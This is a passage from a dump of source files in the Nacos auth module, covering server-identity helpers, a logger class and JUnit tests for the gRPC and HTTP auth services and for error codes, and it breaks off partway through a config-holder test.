ServerIdentityResult fail(String message) {\n        return new ServerIdentityResult(ResultStatus.FAIL, message);\n    }\n    \n    public enum ResultStatus {\n        \n        /**\n         * Nacos server identity matched.\n         */\n        MATCHED,\n        \n        /**\n         * Nacos server identity not matched, need authentication.\n         */\n        NOT_MATCHED,\n        \n        /**\n         * Nacos server identity check failed.\n         */\n        FAIL;\n    }\n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/util/AuthHeaderUtil.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.util;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Auth header util.\n *\n * @author xiweng.yy\n */\npublic class AuthHeaderUtil {\n    \n    /**\n     * Add identity info to Http header.\n     *\n     * @param header     http header\n     * @param authConfig nacos auth config\n     */\n    public static void addIdentityToHeader(Header header, NacosAuthConfig authConfig) {\n        if (!authConfig.isSupportServerIdentity()) {\n            return;\n        }\n        if (StringUtils.isNotBlank(authConfig.getServerIdentityKey())) {\n            header.addParam(authConfig.getServerIdentityKey(), authConfig.getServerIdentityValue());\n        }\n    }\n    \n    /**\n     * Add identity info to Grpc request header.\n     *\n     * @param request     grpc request\n     * @param authConfig  nacos auth config\n     */\n    public static void addIdentityToHeader(Request request, NacosAuthConfig authConfig) {\n        if (!authConfig.isSupportServerIdentity()) {\n            return;\n        }\n        if (StringUtils.isNotBlank(authConfig.getServerIdentityKey())) {\n            request.putHeader(authConfig.getServerIdentityKey(), authConfig.getServerIdentityValue());\n        }\n    }\n    \n}\n"
  },
  {
    "path": "auth/src/main/java/com/alibaba/nacos/auth/util/Loggers.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.util;\n\nimport ch.qos.logback.classic.Level;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Loggers for core.\n *\n * @author nkorange\n * @since 1.2.0\n */\npublic class Loggers {\n    \n    private static final String AUTH_LOG_NAME = \"auth\";\n    \n    public static final Logger AUTH = LoggerFactory.getLogger(\"com.alibaba.nacos.auth\");\n    \n    public static void setLogLevel(String logName, String level) {\n    \n        if (AUTH_LOG_NAME.equals(logName)) {\n            ((ch.qos.logback.classic.Logger) AUTH).setLevel(Level.valueOf(level));\n        }\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/GrpcProtocolAuthServiceTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractMcpRequest;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.mock.MockAuthPluginService;\nimport com.alibaba.nacos.auth.mock.MockResourceParser;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Permission;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport java.lang.reflect.Method;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass GrpcProtocolAuthServiceTest {\n    \n    @Mock\n    private NacosAuthConfig authConfig;\n    \n    private ConfigPublishRequest configRequest;\n    \n    private AbstractNamingRequest namingRequest;\n    \n    private AbstractMcpRequest mcpRequest;\n\n    private AbstractAgentRequest agentRequest;\n\n    private GrpcProtocolAuthService protocolAuthService;\n\n    @BeforeEach\n    void setUp() throws Exception {\n        protocolAuthService = new GrpcProtocolAuthService(authConfig);\n        protocolAuthService.initialize();\n        mockConfigRequest();\n        mockNamingRequest();\n        mockMcpRequest();\n        mockAgentRequest();\n    }\n    \n    private void mockConfigRequest() {\n        configRequest = new ConfigPublishRequest();\n        configRequest.setTenant(\"testCNs\");\n        configRequest.setGroup(\"testCG\");\n        configRequest.setDataId(\"testD\");\n    }\n    \n    private void mockNamingRequest() {\n        namingRequest = new AbstractNamingRequest() {\n        };\n        namingRequest.setNamespace(\"testNNs\");\n        namingRequest.setGroupName(\"testNG\");\n        namingRequest.setServiceName(\"testS\");\n    }\n\n    private void mockMcpRequest() {\n        mcpRequest = new AbstractMcpRequest() {\n        };\n        mcpRequest.setNamespaceId(\"testNNs\");\n        mcpRequest.setMcpName(\"testS\");\n    }\n\n    private void mockAgentRequest() {\n        agentRequest = new AbstractAgentRequest() {\n        };\n        agentRequest.setNamespaceId(\"testNNs\");\n        agentRequest.setAgentName(\"testS\");\n    }\n    \n    @Test\n    @Secured(resource = \"testResource\")\n    void testParseResourceWithSpecifiedResource() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithSpecifiedResource\");\n        Resource actual = protocolAuthService.parseResource(namingRequest, secured);\n        assertEquals(\"testResource\", actual.getName());\n        assertEquals(SignType.SPECIFIED, actual.getType());\n        assertNull(actual.getNamespaceId());\n        assertNull(actual.getGroup());\n        assertNotNull(actual.getProperties());\n        assertTrue(actual.getProperties().isEmpty());\n    }\n    \n    @Test\n    @Secured(signType = \"non-exist\")\n    void testParseResourceWithNonExistType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNonExistType\");\n        Resource actual = protocolAuthService.parseResource(namingRequest, secured);\n        assertEquals(Resource.EMPTY_RESOURCE, actual);\n    }\n    \n    @Test\n    @Secured(signType = \"non-exist\", parser = MockResourceParser.class)\n    void testParseResourceWithNonExistTypeException() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNonExistTypeException\");\n        Resource actual = protocolAuthService.parseResource(namingRequest, secured);\n        assertEquals(Resource.EMPTY_RESOURCE, actual);\n    }\n    \n    @Test\n    @Secured()\n    void testParseResourceWithNamingType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNamingType\");\n        Resource actual = protocolAuthService.parseResource(namingRequest, secured);\n        assertEquals(SignType.NAMING, actual.getType());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(\"testNNs\", actual.getNamespaceId());\n        assertEquals(\"testNG\", actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testParseResourceWithConfigType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithConfigType\");\n        Resource actual = protocolAuthService.parseResource(configRequest, secured);\n        assertEquals(SignType.CONFIG, actual.getType());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(\"testCNs\", actual.getNamespaceId());\n        assertEquals(\"testCG\", actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n\n    @Test\n    @Secured(signType = SignType.AI)\n    void testParseResourceWithMcpType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithMcpType\");\n        Resource actual = protocolAuthService.parseResource(mcpRequest, secured);\n        assertEquals(SignType.AI, actual.getType());\n        assertEquals(mcpRequest.getMcpName(), actual.getName());\n        assertEquals(mcpRequest.getNamespaceId(), actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n\n    @Test\n    @Secured(signType = SignType.AI)\n    void testParseResourceWithAgentType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithAgentType\");\n        Resource actual = protocolAuthService.parseResource(agentRequest, secured);\n        assertEquals(SignType.AI, actual.getType());\n        assertEquals(agentRequest.getAgentName(), actual.getName());\n        assertEquals(agentRequest.getNamespaceId(), actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n    \n    @Test\n    void testParseIdentity() {\n        IdentityContext actual = protocolAuthService.parseIdentity(namingRequest);\n        assertNotNull(actual);\n    }\n    \n    @Test\n    void testValidateIdentityWithoutPlugin() throws AccessException {\n        IdentityContext identityContext = new IdentityContext();\n        assertTrue(protocolAuthService.validateIdentity(identityContext, Resource.EMPTY_RESOURCE).isSuccess());\n    }\n    \n    @Test\n    void testValidateIdentityWithPlugin() throws AccessException {\n        Mockito.when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        IdentityContext identityContext = new IdentityContext();\n        assertFalse(protocolAuthService.validateIdentity(identityContext, Resource.EMPTY_RESOURCE).isSuccess());\n    }\n    \n    @Test\n    void testValidateAuthorityWithoutPlugin() throws AccessException {\n        assertTrue(protocolAuthService.validateAuthority(new IdentityContext(),\n                new Permission(Resource.EMPTY_RESOURCE, \"\")).isSuccess());\n    }\n    \n    @Test\n    void testValidateAuthorityWithPlugin() throws AccessException {\n        Mockito.when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        assertFalse(protocolAuthService.validateAuthority(new IdentityContext(),\n                new Permission(Resource.EMPTY_RESOURCE, \"\")).isSuccess());\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testEnabledAuthWithPlugin() throws NoSuchMethodException {\n        Mockito.when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        Secured secured = getMethodSecure(\"testEnabledAuthWithPlugin\");\n        assertTrue(protocolAuthService.enableAuth(secured));\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testEnabledAuthWithoutPlugin() throws NoSuchMethodException {\n        Mockito.when(authConfig.getNacosAuthSystemType()).thenReturn(\"non-exist-plugin\");\n        Secured secured = getMethodSecure(\"testEnabledAuthWithoutPlugin\");\n        assertFalse(protocolAuthService.enableAuth(secured));\n    }\n    \n    @Test\n    @Secured(apiType = ApiType.INNER_API)\n    void testCheckServerIdentityWithoutIdentityConfig() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testCheckServerIdentityWithoutIdentityConfig\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.FAIL, result.getStatus());\n        assertEquals(\"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`\"\n                        + \" and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`\",\n                result.getMessage());\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.FAIL, result.getStatus());\n        assertEquals(\"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`\"\n                        + \" and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`\",\n                result.getMessage());\n    }\n    \n    @Test\n    @Secured(apiType = ApiType.INNER_API)\n    void testCheckServerIdentityNotMatched() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testCheckServerIdentityNotMatched\");\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        when(authConfig.getServerIdentityValue()).thenReturn(\"2\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.NOT_MATCHED, result.getStatus());\n        namingRequest.putHeader(\"1\", \"3\");\n        result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.NOT_MATCHED, result.getStatus());\n    }\n    \n    @Test\n    @Secured(apiType = ApiType.INNER_API)\n    void testCheckServerIdentityMatched() throws NoSuchMethodException {\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        when(authConfig.getServerIdentityValue()).thenReturn(\"2\");\n        namingRequest.putHeader(\"1\", \"2\");\n        Secured secured = getMethodSecure(\"testCheckServerIdentityMatched\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.MATCHED, result.getStatus());\n    }\n    \n    @Test\n    @Secured\n    void testCheckServerIdentityForOtherTypeApi() throws NoSuchMethodException {\n        namingRequest.putHeader(\"1\", \"2\");\n        Secured secured = getMethodSecure(\"testCheckServerIdentityForOtherTypeApi\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(namingRequest, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.NOT_MATCHED, result.getStatus());\n    }\n    \n    private Secured getMethodSecure(String methodName) throws NoSuchMethodException {\n        Method method = GrpcProtocolAuthServiceTest.class.getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/HttpProtocolAuthServiceTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.mock.MockAuthPluginService;\nimport com.alibaba.nacos.auth.mock.MockResourceParser;\nimport com.alibaba.nacos.auth.serveridentity.ServerIdentityResult;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Permission;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.auth.exception.AccessException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass HttpProtocolAuthServiceTest {\n    \n    @Mock\n    private NacosAuthConfig authConfig;\n    \n    @Mock\n    private HttpServletRequest request;\n    \n    private HttpProtocolAuthService protocolAuthService;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        protocolAuthService = new HttpProtocolAuthService(authConfig);\n        protocolAuthService.initialize();\n        when(request.getParameter(eq(CommonParams.NAMESPACE_ID))).thenReturn(\"testNNs\");\n        when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"testNG\");\n        when(request.getParameter(eq(CommonParams.SERVICE_NAME))).thenReturn(\"testS\");\n        when(request.getParameter(eq(\"tenant\"))).thenReturn(\"testCNs\");\n        when(request.getParameter(eq(Constants.GROUP))).thenReturn(\"testCG\");\n        when(request.getParameter(eq(Constants.DATA_ID))).thenReturn(\"testD\");\n    }\n    \n    @Test\n    @Secured(resource = \"testResource\", tags = {\"testTag\"})\n    void testParseResourceWithSpecifiedResource() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithSpecifiedResource\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(\"testResource\", actual.getName());\n        assertEquals(SignType.SPECIFIED, actual.getType());\n        assertNull(actual.getNamespaceId());\n        assertNull(actual.getGroup());\n        assertNotNull(actual.getProperties());\n        assertEquals(1, actual.getProperties().size());\n        assertEquals(\"testTag\", actual.getProperties().get(\"testTag\"));\n    }\n    \n    @Test\n    @Secured(signType = \"non-exist\")\n    void testParseResourceWithNonExistType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNonExistType\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(Resource.EMPTY_RESOURCE, actual);\n    }\n    \n    @Test\n    @Secured(signType = \"non-exist\", parser = MockResourceParser.class)\n    void testParseResourceWithNonExistTypeException() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNonExistTypeException\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(Resource.EMPTY_RESOURCE, actual);\n    }\n    \n    @Test\n    @Secured()\n    void testParseResourceWithNamingType() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithNamingType\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(SignType.NAMING, actual.getType());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(\"testNNs\", actual.getNamespaceId());\n        assertEquals(\"testNG\", actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testParseResourceWithConfigTypeForNewGroup() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testParseResourceWithConfigTypeForNewGroup\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(SignType.CONFIG, actual.getType());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(\"testNNs\", actual.getNamespaceId());\n        assertEquals(\"testNG\", actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testParseResourceWithConfigTypeForOldGroup() throws NoSuchMethodException {\n        when(request.getParameter(eq(CommonParams.GROUP_NAME))).thenReturn(\"\");\n        Secured secured = getMethodSecure(\"testParseResourceWithConfigTypeForOldGroup\");\n        Resource actual = protocolAuthService.parseResource(request, secured);\n        assertEquals(SignType.CONFIG, actual.getType());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(\"testNNs\", actual.getNamespaceId());\n        assertEquals(\"testCG\", actual.getGroup());\n        assertNotNull(actual.getProperties());\n    }\n    \n    @Test\n    void testParseIdentity() {\n        IdentityContext actual = protocolAuthService.parseIdentity(request);\n        assertNotNull(actual);\n    }\n    \n    @Test\n    void testValidateIdentityWithoutPlugin() throws AccessException {\n        IdentityContext identityContext = new IdentityContext();\n        assertTrue(protocolAuthService.validateIdentity(identityContext, Resource.EMPTY_RESOURCE).isSuccess());\n    }\n    \n    @Test\n    void testValidateIdentityWithPlugin() throws AccessException {\n        when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        IdentityContext identityContext = new IdentityContext();\n        assertFalse(protocolAuthService.validateIdentity(identityContext, Resource.EMPTY_RESOURCE).isSuccess());\n    }\n    \n    @Test\n    void testValidateAuthorityWithoutPlugin() throws AccessException {\n        assertTrue(protocolAuthService.validateAuthority(new IdentityContext(),\n                new Permission(Resource.EMPTY_RESOURCE, \"\")).isSuccess());\n    }\n    \n    @Test\n    void testValidateAuthorityWithPlugin() throws AccessException {\n        when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        assertFalse(protocolAuthService.validateAuthority(new IdentityContext(),\n                new Permission(Resource.EMPTY_RESOURCE, \"\")).isSuccess());\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testEnabledAuthWithPlugin() throws NoSuchMethodException {\n        when(authConfig.getNacosAuthSystemType()).thenReturn(MockAuthPluginService.TEST_PLUGIN);\n        Secured secured = getMethodSecure(\"testEnabledAuthWithPlugin\");\n        assertTrue(protocolAuthService.enableAuth(secured));\n    }\n    \n    @Test\n    @Secured(signType = SignType.CONFIG)\n    void testEnabledAuthWithoutPlugin() throws NoSuchMethodException {\n        when(authConfig.getNacosAuthSystemType()).thenReturn(\"non-exist-plugin\");\n        Secured secured = getMethodSecure(\"testEnabledAuthWithoutPlugin\");\n        assertFalse(protocolAuthService.enableAuth(secured));\n    }\n    \n    @Test\n    void testCheckServerIdentityWithoutIdentityConfig() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testCheckServerIdentityWithoutIdentityConfig\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(request, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.FAIL, result.getStatus());\n        assertEquals(\"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`\"\n                        + \" and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`\",\n                result.getMessage());\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        result = protocolAuthService.checkServerIdentity(request, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.FAIL, result.getStatus());\n        assertEquals(\"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`\"\n                        + \" and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`\",\n                result.getMessage());\n    }\n    \n    @Test\n    void testCheckServerIdentityNotMatched() throws NoSuchMethodException {\n        Secured secured = getMethodSecure(\"testCheckServerIdentityNotMatched\");\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        when(authConfig.getServerIdentityValue()).thenReturn(\"2\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(request, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.NOT_MATCHED, result.getStatus());\n        when(request.getHeader(\"1\")).thenReturn(\"3\");\n        result = protocolAuthService.checkServerIdentity(request, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.NOT_MATCHED, result.getStatus());\n    }\n    \n    @Test\n    void testCheckServerIdentityMatched() throws NoSuchMethodException {\n        when(authConfig.getServerIdentityKey()).thenReturn(\"1\");\n        when(authConfig.getServerIdentityValue()).thenReturn(\"2\");\n        when(request.getHeader(\"1\")).thenReturn(\"2\");\n        Secured secured = getMethodSecure(\"testCheckServerIdentityMatched\");\n        ServerIdentityResult result = protocolAuthService.checkServerIdentity(request, secured);\n        assertEquals(ServerIdentityResult.ResultStatus.MATCHED, result.getStatus());\n    }\n    \n    private Secured getMethodSecure(String methodName) throws NoSuchMethodException {\n        Method method = HttpProtocolAuthServiceTest.class.getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/config/AuthErrorCodeTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.config;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass AuthErrorCodeTest {\n\n    @Test\n    void testInvalidTypeCode() {\n        assertEquals(50001, AuthErrorCode.INVALID_TYPE.getCode());\n    }\n\n    @Test\n    void testInvalidTypeMsg() {\n        assertTrue(AuthErrorCode.INVALID_TYPE.getMsg().contains(\"Invalid auth type\"));\n        assertTrue(AuthErrorCode.INVALID_TYPE.getMsg().contains(\"nacos.core.auth.system.type\"));\n    }\n\n    @Test\n    void testEmptyIdentityCode() {\n        assertEquals(50002, AuthErrorCode.EMPTY_IDENTITY.getCode());\n    }\n\n    @Test\n    void testEmptyIdentityMsg() {\n        assertTrue(AuthErrorCode.EMPTY_IDENTITY.getMsg().contains(\"Empty identity\"));\n        assertTrue(AuthErrorCode.EMPTY_IDENTITY.getMsg().contains(\"nacos.core.auth.server.identity.key\"));\n    }\n\n    @Test\n    void testValues() {\n        assertEquals(2, AuthErrorCode.values().length);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/config/NacosAuthConfigHolderTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.config;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.springframework.test.util.ReflectionTestUtils;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosAuthConfigHolderTest {\n    \n    @Mock\n    NacosAuthConfig nacosAuthConfig;\n    \n    private Map<String, NacosAuthConfig> cachedConfigMap;\n    \n    @BeforeEach\n    void setUp() {\n        cachedConfigMap = (Map<String, NacosAuthConfig>) ReflectionTestUtils.getField(\n                NacosAuthConfigHolder.getInstance(), \"nacosAuthConfigMap\");\n        Map<String, NacosAuthConfig> mockMap = Map.of(\"test\", nacosAuthConfig);\n        ReflectionTestUtils.setField(NacosAuthConfigHolder.getInstance(), \"nacosAuthConfigMap\", mockMap);\n    }\n    \n    @AfterEach\n    void tearDown() {\n        if (cachedConfigMap != null) {\n            ReflectionTestUtils.setField(NacosAuthConfigHolder.getInstance(), \"nacosAuthConfigMap\", cachedConfigMap);\n        }\n    }\n    \n    @Test\n    void getNacosAuthConfigByScope() {\n        assertEquals(nacosAuthConfig, NacosAuthConfigHolder.getInstance().getNacosAuthConfigByScope(\"test\"));\n        assertNull(NacosAuthConfigHolder.getInstance().getNacosAuthConfigByScope(\"test1\"));\n    }\n    \n    @Test\n    void getAllNacosAuthConfig() {\n        assertEquals(1, NacosAuthConfigHolder.getInstance().getAllNacosAuthConfig().size());\n        assertTrue(NacosAuthConfigHolder.getInstance().getAllNacosAuthConfig().contains(nacosAuthConfig));\n    }\n    \n    @Test\n    void isAnyAuthEnabled() {\n        